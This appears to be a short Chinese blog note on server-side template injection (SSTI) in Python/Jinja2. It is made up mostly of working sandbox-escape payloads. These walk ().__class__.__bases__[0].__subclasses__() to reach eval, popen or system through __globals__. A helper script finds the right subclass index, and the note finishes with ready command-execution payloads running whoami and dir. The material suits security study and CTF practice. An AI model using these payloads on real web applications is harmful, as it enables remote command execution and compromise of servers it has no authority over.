SSTI实践

文章参考
绕过python沙盒
在python3中,文章中是这样绕过python沙盒的

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

但是这样的方式想要执行系统命令,需要导入os模块,而在Flask/Jinja2等比较新的版本中,会检测禁用导入os模块,这样就无法达到命令执行的效果,这个时候可以使用这样一种payload:

#coding:utf-8
search = "popen"

num = -1
#().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
for i in ().__class__.__bases__[0].__subclasses__():
    num +=1
    try:
        if search in i.__init__.__globals__.keys():
            print(num,i)
    except Exception as e:
        pass
128 

所以我们可以构造这样一个payload来执行命令:

().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')

你可能感兴趣的:(SSTI实践)